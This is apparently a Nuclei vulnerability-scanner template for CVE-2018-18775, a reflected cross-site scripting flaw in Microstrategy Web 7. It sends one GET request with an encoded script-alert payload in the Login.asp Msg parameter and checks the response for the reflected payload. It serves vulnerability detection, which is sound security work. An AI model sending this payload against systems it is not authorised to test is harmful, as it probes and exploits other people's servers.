id: CVE-2018-18775

info:
  name: Microstrategy Web 7 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: Microstrategy Web 7 does not sufficiently encode user-controlled inputs, resulting in cross-site scripting via the Login.asp Msg parameter.
  remediation: |
    Apply the latest security patches or updates provided by Microstrategy to fix the XSS vulnerability in the Web 7 application.
  reference:
    - https://www.exploit-db.com/exploits/45755
    - http://packetstormsecurity.com/files/150059/Microstrategy-Web-7-Cross-Site-Scripting-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18775
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-18775
    cwe-id: CWE-79
    epss-score: 0.00157
    epss-percentile: 0.52076
    cpe: cpe:2.3:a:microstrategy:microstrategy_web:7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microstrategy
    product: microstrategy_web
  tags: cve2018,microstrategy,xss,edb,packetstorm,cve,intrusive

http:
  - method: GET
    path:
      - "{{BaseURL}}/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3B%3C%2Fscript%3E%3C"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(/{{randstr}}/);</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# digest: 490a0046304402201e6315cab7b728c5a752e9010e7ec5c42b6b51d21456a2edb56067684359560802205e1911c56ed72b9a09b3fa1fc4d0670dc5d51bc5c07cd2e520f5e0fb4309640c:922c64590222798bb761d5b6d8e72950